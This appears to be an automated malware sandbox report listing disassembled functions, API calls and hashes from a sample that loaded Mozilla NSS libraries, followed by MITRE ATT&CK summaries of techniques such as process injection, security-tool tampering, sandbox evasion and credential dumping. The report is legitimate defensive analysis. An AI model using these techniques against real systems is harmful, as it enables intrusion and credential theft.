Opcode ID: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction ID: d61f2e088d692caef3c35477a34d6296fee917b2cea5bc5a7cd5c02b315a21ed
Opcode Fuzzy Hash: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction Fuzzy Hash: 71014CB5B01B159BEB50DF2AD908753B7E8FF0479AB104839D85AC3E01E731E454CB96

Function 6C6788E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C6808AA,?), ref: 6C6788F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C6808AA,?), ref: 6C67890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C6808AA,?), ref: 6C678936
PR_Unlock.NSS3(?,?,?,?,?,6C6808AA,?), ref: 6C678940

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 6ba4afebe11cd03b486e1ef971540c4dbe7610b68c4ddd8740c9668b169fb498
Instruction ID: e3331cc985d2ca6418e621596053dcc478842e0c0d7191d43a8c32ce077fa802
Opcode Fuzzy Hash: 6ba4afebe11cd03b486e1ef971540c4dbe7610b68c4ddd8740c9668b169fb498
Instruction Fuzzy Hash: 2B018474A046059BDB10AF3DC084655B7F4FF09399F050A7AD898D7B10E730E894CBE6

Function 6C6B0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782F88,6C6B0660,00000020,00000000,?,?,6C6B2C3D,?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B0860

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C6B2C3D,?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B0874
EnterCriticalSection.KERNEL32(00000001), ref: 6C6B0884
PR_Unlock.NSS3 ref: 6C6B08A3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: c7159ff7fdf2329f890fa78971a1b82630c056a7c1108f618396b6f7c0116c74
Instruction ID: 76568cd9d0ae22b7254fe4ed0398f2643fbcb2e6f75510d2933a63681314577e
Opcode Fuzzy Hash: c7159ff7fdf2329f890fa78971a1b82630c056a7c1108f618396b6f7c0116c74
Instruction Fuzzy Hash: 38012BB5E00244ABEF012B69ED44A967F38DB5731AF180171ED0C72A12EF32D564C7E9

Function 6C73CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C73CC61
free.MOZGLUE ref: 6C73CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C73CC80
free.MOZGLUE(?), ref: 6C73CC87

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction ID: f5340395409b318c6b2f4369c0cc5d2700de1a76122ee87e0ce79da5bae60afa
Opcode Fuzzy Hash: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction Fuzzy Hash: 73E030767006189BCA10EFA8DC4488677ACEE4D2713150575F691C3710D231F905CBE1

Function 6C674D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C674D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C674DE6

Strings

%d.%d, xrefs: 6C674DDE

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction ID: f91f136ed08b725fd28f5437b279b2e3c91e4adf3a8848e5efb4bf76a02fe16b
Opcode Fuzzy Hash: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction Fuzzy Hash: E9312CB2E042186BEB209B609C05BFF77B8DF45308F150829ED559B781EB709915CBBA

Function 6C710900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C710917
sqlite3_value_text.NSS3(?), ref: 6C710923

Part of subcall function 6C5D13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D1413
Part of subcall function 6C5D13C0: memcpy.VCRUNTIME140(00000000,R#Zl,00000002,?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D14C0

Strings

error in %s %s%s%s: %s, xrefs: 6C710944

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: ea4bec7d3f6ee4bb0354737589cdd8065df7cd04508d0bde1c34e10c8e210510
Instruction ID: 7bb4f273844d24578c875b76042b9feb5cb59a8bb21cb3f3a80ac18f076a3a0f
Opcode Fuzzy Hash: ea4bec7d3f6ee4bb0354737589cdd8065df7cd04508d0bde1c34e10c8e210510
Instruction Fuzzy Hash: 1001E5B6E042489FDB009A58EC019BA7B75EFC5359F144439ED485BB11FB32AD2487A2

Function 6C694CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8il,00000000,00000000,?,?,6C693827,?,00000000), ref: 6C694D0A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C694D22

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

Strings

'8il, xrefs: 6C694D07

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8il
API String ID: 1521942269-3336700206
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 0ab6f495050e3a0d4f65effadb7754ec18e01454b4af55d694622a161a524295
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 60F0687660112667EB104E6A9C80B6336DC9B417BDF140371DD38CB7E1E6A1CC0986E5

Function 6C6BAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6BAF78

Part of subcall function 6C61ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
Part of subcall function 6C61ACC0: malloc.MOZGLUE(00000001), ref: 6C61ACEC
Part of subcall function 6C61ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
Part of subcall function 6C61ACC0: TlsGetValue.KERNEL32 ref: 6C61AD3C
Part of subcall function 6C61ACC0: calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61ADC0
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61AE8C
Part of subcall function 6C61ACC0: free.MOZGLUE(?), ref: 6C61AEAB

memcpy.VCRUNTIME140(6C783084,6C7802AC,00000090), ref: 6C6BAF94

Strings

SSL, xrefs: 6C6BAF73

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction ID: 12891fa73c073c04cb4e06d975833e70c916b6df39a6201a7c39c3d5c1722479
Opcode Fuzzy Hash: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction Fuzzy Hash: 552152B2217A48AEDA00DF59D987312BA72F7433547305138C7196FB29D7314125AFD9

Function 6C62C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]bl,6C626499,-00000078,00000000,?,?,]bl,?,6C625DEF,?), ref: 6C62C821

Part of subcall function 6C621DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E0B
Part of subcall function 6C621DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]bl,?,6C625DEF,?,?,?), ref: 6C62C857

Strings

]bl, xrefs: 6C62C810

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]bl
API String ID: 221937774-1559533763
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: a0e06651cdf7786a999a68ecfa02fbf09e418e0bdea0599a45ee926f4d6e9aa8
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 76F08273A0051577FF0129656C04AFA3A59DF82259F040031FE09D6651F72ED9258BEE

Function 6C610F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B

Part of subcall function 6C611370: GetSystemInfo.KERNEL32(?,?,?,?,6C610936,?,6C610F20,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000), ref: 6C61138F

PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

Part of subcall function 6C611110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611130
Part of subcall function 6C611110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611142
Part of subcall function 6C611110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001), ref: 6C611167

Strings

clock, xrefs: 6C610F20

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction ID: ce9527104198936bbf47e8a147292f77add485efed4f17a1fdb644e7a8dbcdfe
Opcode Fuzzy Hash: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction Fuzzy Hash: 22D0123160918455C511666F9C45B9AF6BCC7E327FF204836E20841D104F6450EAE26D

Function 6C680DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C680DF5
TlsGetValue.KERNEL32 ref: 6C680E2D
TlsGetValue.KERNEL32 ref: 6C680E58
TlsGetValue.KERNEL32 ref: 6C680E84

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction ID: 66e7e68dda1ed1c0c0cd2d268bfadddca12f6eb74b9b4a250d8952afb69df8ba
Opcode Fuzzy Hash: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction Fuzzy Hash: 1731D470647784CBDB106F3CC58829A7BB4BF0A349F114A79D89887A21DB30C096CBB9

Function 6C680F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
malloc.MOZGLUE(00000001), ref: 6C680F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42
TlsGetValue.KERNEL32 ref: 6C680F5B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction ID: 2aa675aa86b9e807d373d98c3cbd3fdadd4daebd0e3df3e130578686dbf7a5f0
Opcode Fuzzy Hash: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction Fuzzy Hash: B80140B1E0329457E710173E9E085A27B6CEF4339AF014571ED1CC2A21D730C815C1F6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

